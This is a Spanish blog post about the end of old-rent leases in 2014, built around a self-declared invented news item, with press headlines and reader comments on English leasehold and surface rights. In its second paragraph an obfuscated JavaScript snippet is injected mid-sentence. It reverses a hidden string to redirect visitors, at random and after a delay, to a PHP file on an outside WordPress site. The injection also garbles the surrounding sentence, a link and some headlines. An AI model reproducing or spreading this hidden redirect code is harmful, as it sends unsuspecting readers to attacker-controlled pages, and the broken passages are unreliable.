[NIon] La extinción de los alquileres de renta antigua abre una oportunidad a la mejora del tejido urbano.
El Ayuntamiento de Gran Ciudad exigirá la rehabilitación de inmuebles a los propietarios de inmuebles beneficiados con la extinción de los contratos de alquiler de renta antigua el próximo 31 de diciembre de 2014.
Los contratos de arrendamiento anteriores a la $NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tos Urbanos” href=”http://www.boe.es/buscar/act.php?id=BOE-A-1994-26003#dtsegunda” target=”_blank”>Disposiciones Transitorias Segunda y Tercera de la LAU). Esto comporta un importante beneficio para los propietarios de estos inmuebles, por lo que el Alcalde de Gran Ciudad ha decidido exigir la rehabilitación de todos aquellos inmuebles cuyos propietarios se vean liberados de estos contratos.
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La noticia es inventada pero, a la vista de las siguientes noticias, ¿hay ya una excusa menos para poder intervenir en el tejido edificado por parte de todos los agentes implicados o servirá para todo lo contrario?
El Correo, 28/09/2014: tos de negocios en peligro
El Diario Montañés, 22/09/2014: tos de renta antigua amenaza a 2.500 comercios cántabros
El Comercio, 13/04/2014: El fin de la renta antigua deja en el aire numerosos negocios de Gijón
Libre Mercado, 05/06/2014: La renta antigua de los locales comerciales llega a su fin
La Opinión de Málaga, 22/09/2014: El fin del alquiler de renta antigua al acabar este año amenaza a 400 comercios
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Álvaro Cerezo
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Alvaro, en relación a la dimensión temporal que hablamos ayer necesaria en el planeamiento e hilando con tu artículo de hoy, me ha venido a la mente el leasehold inglés que seguro conoces:
http://www.unmundoperplejo.com/2010/02/04/que-es-un-leasehold-que-complicados-son-los-ingleses/
(lo que pasa es que en 1992 el tema perdió la fuerza que yo le veo porque las prórrogas son casi automñaticas: http://kategora.com/es_es/2012/05/23/que-son-las-propiedades-leasehold-y-freehold-en-reino-unido-2/)
Del leasehold me atrae con concepto tiempo, desligar suelo de vuelo, derecho de propiedad… las parte mala es que el tema es medieval por los terratenientes etc, pero lo interesante es lo antedicho… donde dice “lores”, dí comunidad, cooperativa, particular, promotor, administración… y la prórroga que la dé el planeamiento…
Qué opinas??
Hola Gorka.
Leyendo con detenimiento los modelos de Leasehold y Freehold, me parecen sugerentes en cuanto que abordan la cuestión del mecanismo alternativo a la tenencia en propiedad, pero me pregunto como afrontan el deber de conservación en ambos casos y sobretodo en periodos tan largos de “vínculo” si se quiere plantear. Quien mantiene el bien? Tienes más información sobre el tema?
Sería interesante saber, si el modelo social/cultural sobre la propiedad hace ver la cuestión de la conservación desde otra perspectiva.
Muy interesante en cualquier caso.
Y finalmente, daríais alguna credibilidad a una iniciativa como la descrita en el post?
Alvaro,
Te paso un par de enlaces donde puedes leer (en la lengua de Shakespeare) cómo funciona el asunto… Lo dicho, no es para copiar calcado, pero abre paso a la imaginación… en otros sitios hay otras cosas… y son países muy civilizados…
http://england.shelter.org.uk/get_advice/leaseholders_rights/overview_of_leasehold_law
http://hoa.org.uk/advice/guides-for-homeowners/i-am-buying/leasehold-v-freehold-whats-the-difference/
La figura del leasehold es realmente interesante. En derecho español también la tenemos, aunque no es común usarla para el desarrollo de viviendas. Un derecho de Superficie es, al fin y al cabo, una disgregación entre el dominio del suelo y el de la construcción, pudiéndose acordar un canon anual.
En Cataluña, por su parte, han creado una figura (de la que todavía no entiendo su diferencia con el derecho de superficie) que han llamado “propiedad temporal”.